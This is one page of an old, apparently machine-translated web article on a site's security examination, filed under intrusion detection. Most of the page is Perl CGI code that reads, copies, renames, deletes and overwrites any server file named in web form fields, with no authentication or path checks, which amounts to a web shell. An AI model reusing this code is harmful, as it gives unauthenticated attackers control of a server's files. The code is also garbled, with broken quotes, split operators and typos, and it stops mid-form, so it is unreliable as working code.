To a blue shield master station secure examination(4)

Add date: 10/08/2008 Publishing date: 10/08/2008 Hits: 1

Total 5 pages, Current page:4, Jump to page:

if (- e “$FORM{type}”) {
open (TYPE, “$FORM{type}”);
@content=<TYPE>;
close TYPE;
print <<EOF;
$FORM{type} 
<textarea cols=80 rows=18>
@content
</textarea>
EOF
}
else {
print <<EOF;
 
file $FORM{type} dose not exist!!!
 
EOF
}
}
################# copy command #################
if (($FORM{kopyfrom} ne "") && ($FORM{kopyto} ne "")){
if (- e “$FORM{kopyfrom}”) {
open (FROM, “$FORM{kopyfrom}”);
open (TO, “>$FORM{kopyto}”);
@file=<FROM>;
print TO @file;
close FORM;
close TO;
if ((- e “$FORM{kopyto}”) && (- s “$FORM{kopyto}”)) {
print <<EOF;
 
copy $FORM{kopyfrom} to $FORM{kopyto} successful!!!
 
EOF
}
}
else {
print <<EOF;
 
file: $FORM{kopyfrom} dose not exist!
 
EOF
}
}
################# rename command ################
if (($FORM{renamefrom} ne "") && ($FORM{renameto} ne "")){
if (- e “$FORM{renamefrom}”) {
rename (“$FORM{renamefrom}”, “$FORM{renameto}”);
if (- e “$FORM{renameto}”) {
print <<EOF;
 
rename $FORM{renamefrom} to $FORM{renameto} successful!!!
 
EOF
}
}
else {
print <<EOF;
 
file: $FORM{renamefrom} dose not exist!
 
EOF
}
}
################# delete command ##############
if($FORM{del} ne "") {
if (- e “$FORM{del}”) {
unlink (“$FORM{del}”);
if (! (- e “$FORM{del}”)){
print <<EOF;
 
delete $FORM{del} successful!!!
 
EOF
}
}
else {
print <<EOF;
 
file $FORM{del} dose not exist!!!
 
EOF
}
}
################## write command #############
if($FORM{submit2} eq “write”) {
@sb=split (/\ n/,$FORM{text});
open (WRITETO, “>$FORM{writetofile}”);
foreach (@sb) {
chomp $_;
print WRITETO “$_ \ n”;
}
close WRITETO;
if (- e $FORM{writetofile}) {
print <<EOF;
 
write to $FORM{writetofile} successful!!!
 
EOF
}
}
################################################

foreach (keys %FORM) {
if ($ _ eq “submit1”) {
print <<EOF;
<form action= "" method= " POST " >
write: 
<textarea name= " text " cols= " 80 " rows= " 20 " ></textarea> 
to: 
<input type=text name= " writetofile " value= "" size=45> 

Other pages: : <<Prev * 1 * 2 * 3 * 4 * 5 * Next>>

Prev:Ten big invasion examination system high risk event and handling countermeasure

Next:Invasion examination technology analysis

Comment:

Category: Home > invades the examination